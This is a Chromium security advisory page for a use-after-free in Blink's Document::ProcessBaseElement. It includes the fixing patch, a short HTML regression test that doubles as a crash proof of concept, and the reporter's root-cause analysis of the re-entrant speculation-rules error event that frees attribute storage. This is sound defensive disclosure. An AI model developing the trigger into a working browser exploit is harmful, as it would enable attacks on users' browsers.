CVE-2026-10016
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/dom/document.cc |
modified | |
forthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html |
modified |
Files Changed
third_party/blink/renderer/core/dom/document.ccthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
Patch
From dffb572d0b0cdf92d0aaef482ffc4d22cef4cabc Mon Sep 17 00:00:00 2001
From: David Baron <dbaron@chromium.org>
Date: Thu, 21 May 2026 17:23:40 -0700
Subject: [PATCH] Make Document::ProcessBaseElement store strings rather than pointers to strings.
This changes Document::ProcessBaseElement to use AtomicString rather
than using const AtomicString* that point into an element's attribute
storage (which could be modified in the middle of the function).
Fixed: 515155946
Change-Id: I56dba34c3df8e0b3752b4bfcc2ee6c248694bcc0
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7868910
Reviewed-by: Mason Freed <masonf@chromium.org>
Commit-Queue: David Baron <dbaron@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1634618}
---
diff --git a/third_party/blink/renderer/core/dom/document.cc b/third_party/blink/renderer/core/dom/document.cc
index 5bf48af2..e73c68f 100644
--- a/third_party/blink/renderer/core/dom/document.cc
+++ b/third_party/blink/renderer/core/dom/document.cc
@@ -5097,21 +5097,16 @@
// Find the first href attribute in a base element and the first target
// attribute in a base element.
- const AtomicString* href = nullptr;
- const AtomicString* target = nullptr;
+ AtomicString href;
+ AtomicString target;
for (HTMLBaseElement* base = Traversal<HTMLBaseElement>::FirstWithin(*this);
- base && (!href || !target);
+ base && (href.IsNull() || target.IsNull());
base = Traversal<HTMLBaseElement>::Next(*base)) {
- if (!href) {
- const AtomicString& value = base->FastGetAttribute(html_names::kHrefAttr);
- if (!value.IsNull())
- href = &value;
+ if (href.IsNull()) {
+ href = base->FastGetAttribute(html_names::kHrefAttr);
}
- if (!target) {
- const AtomicString& value =
- base->FastGetAttribute(html_names::kTargetAttr);
- if (!value.IsNull())
- target = &value;
+ if (target.IsNull()) {
+ target = base->FastGetAttribute(html_names::kTargetAttr);
}
if (GetExecutionContext() &&
GetExecutionContext()->GetContentSecurityPolicy()->IsActive()) {
@@ -5123,8 +5118,8 @@
// FIXME: Since this doesn't share code with completeURL it may not handle
// encodings correctly.
KURL base_element_url;
- if (href) {
- StringView stripped_href = StripLeadingAndTrailingHtmlSpaces(*href);
+ if (!href.IsNull()) {
+ StringView stripped_href = StripLeadingAndTrailingHtmlSpaces(href);
if (!stripped_href.empty())
base_element_url = KURL(FallbackBaseURL(), stripped_href);
}
@@ -5162,18 +5157,19 @@
} else {
base_element_url_ = FallbackBaseURL();
}
+ // NOTE: UpdateBaseURL can fire events and thus run script.
UpdateBaseURL();
}
AtomicString old_base_target = base_target_;
- if (target) {
- if (target->contains('\n') || target->contains('\r')) {
+ if (!target.IsNull()) {
+ if (target.contains('\n') || target.contains('\r')) {
UseCounter::Count(*this, WebFeature::kBaseWithNewlinesInTarget);
}
- if (target->contains('<')) {
+ if (target.contains('<')) {
UseCounter::Count(*this, WebFeature::kBaseWithOpenBracketInTarget);
}
- base_target_ = *target;
+ base_target_ = target;
} else {
base_target_ = g_null_atom;
}
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
new file mode 100644
index 0000000..1a42ece
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
@@ -0,0 +1,12 @@
+<!DOCTYPE HTML>
+<base id="b" href="original-base-url" target="_top" att1="1" att2="2" att3="3">
+<script id="s" type="speculationrules">[]</script>
+<script>
+let b = document.getElementById("b");
+document.getElementById("s").addEventListener("error", event => {
+ for (let i = 1; i <= 10; ++i) {
+ b.setAttribute(`newatt${i}`, `value${i}`);
+ }
+});
+b.href = "/new-base-url";
+</script>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
new file mode 100644
index 0000000..1a42ece
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
@@ -0,0 +1,12 @@
+<!DOCTYPE HTML>
+<base id="b" href="original-base-url" target="_top" att1="1" att2="2" att3="3">
+<script id="s" type="speculationrules">[]</script>
+<script>
+let b = document.getElementById("b");
+document.getElementById("s").addEventListener("error", event => {
+ for (let i = 1; i <= 10; ++i) {
+ b.setAttribute(`newatt${i}`, `value${i}`);
+ }
+});
+b.href = "/new-base-url";
+</script>
Original Bug Report
Use-After-Free via re-entrant attribute mutation during synchronous speculation-rules error dispatch
Steps to reproduce the problem
-
Download ASAN Chromium Download asan-win32-release_x64-1633823.zip
-
Launch Chrome
chrome.exe --no-sandbox poc.html
Problem Description
Document::ProcessBaseElement borrows a raw const AtomicString* into a <base> element’s mutable AttributeVector slot and then calls Document::UpdateBaseURL. UpdateBaseURL synchronously dispatches a JavaScript error event on any speculation-rules <script> whose source is not a JSON object. The handler can mutate the same <base> element so the AttributeVector backing buffer is freed and the slot pointed to by the saved raw pointer is reclaimed. When the outer call resumes, it reads target->impl_ from the freed bucket via StringImpl::find and scoped_refptr::operator=, dereferencing freed memory and calling StringImpl::AddRef on an attacker-influenced pointer value.
Any b.href = ... or b.target = ... from script enters Document::ProcessBaseElement via HTMLBaseElement::ParseAttribute (third_party/blink/renderer/core/html/html_base_element.cc:36). That function saves a raw const AtomicString* pointing into the first <base>’s target attribute storage, then calls UpdateBaseURL while that pointer is still live on the stack:
// Document::ProcessBaseElement third_party/blink/renderer/core/dom/document.cc:5099
5099: const AtomicString* href = nullptr;
5100: const AtomicString* target = nullptr;
...
5113: target = &value; // raw pointer into a mutable Attribute slot inside AttributeVector
...
5147: if (base_element_url != base_element_url_) { // forced true by the attacker changing `b.href`
...
5164: UpdateBaseURL(); // synchronous callout while `target` is still borrowed above
5165: }
UpdateBaseURL (document.cc:5019) iterates every HTMLScriptElement descendant on the same stack and calls ScriptLoader::DocumentBaseURLChanged on each. For a <script type="speculationrules"> element, that re-parses the original source under the new base URL via AddSpeculationRuleSet, which fires an error event when the JSON parses to anything other than an object (e.g., the top-level array []):
// ScriptLoader::AddSpeculationRuleSet third_party/blink/renderer/core/script/script_loader.cc:1380
1380: if (speculation_rule_set_->error_type() ==
1381: SpeculationRuleSetErrorType::kSourceIsNotJsonObject || // `[]` is JSON but not an object, this branch fires
1382: speculation_rule_set_->error_type() ==
1383: SpeculationRuleSetErrorType::kInvalidRulesetLevelTag) {
...
1386: element_->DispatchErrorEvent(); // runs attacker `onerror` JS on the same stack while `target` is still borrowed
A single setAttribute from the onerror handler is enough to free the buffer target borrowed from. Vector::push_back falls into Vector::AppendSlowCase when at capacity, which allocates a new BufferPartition buffer, moves the elements over, and frees the old one:
// Vector::AppendSlowCase third_party/blink/renderer/platform/wtf/vector.h:2380
2382: Vector<T, InlineCapacity, Allocator>::AppendSlowCase(U&& val) {
2383: DCHECK_EQ(size(), capacity());
...
2386: ptr = ExpandCapacity(size() + 1, ptr); // allocates new buffer, copies, FREES the buffer `target` points into
2392: }
With six attributes the AttributeVector (Vector<Attribute, 4>) already uses an external 96-byte buffer, one setAttribute grows it and frees that buffer, leaving target dangling.
When the error event returns, Document::ProcessBaseElement resumes and dereferences the stale pointer three times:
// Document::ProcessBaseElement third_party/blink/renderer/core/dom/document.cc:5167
5167: AtomicString old_base_target = base_target_;
5168: if (target) {
5169: if (target->contains('\n') || target->contains('\r')) { // UAF
...
5172: if (target->contains('<')) { // UAF
...
5175: base_target_ = *target; // UAF
Summary
Use-After-Free via re-entrant attribute mutation during synchronous speculation-rules error dispatch
Custom Questions
Type of crash:
renderer
Crash state:
Please see asan.log
Reporter credit:
pwn2addr
Additional Data
Category: Security
Chrome Channel: Canary
Regression: N/A \
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64%2Fasan-win32-release_x64-1633823.zip?generation=1779317172944118&alt=media
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64/asan-win32-release_x64-1633823.zip?generation=1779317172944118&alt=media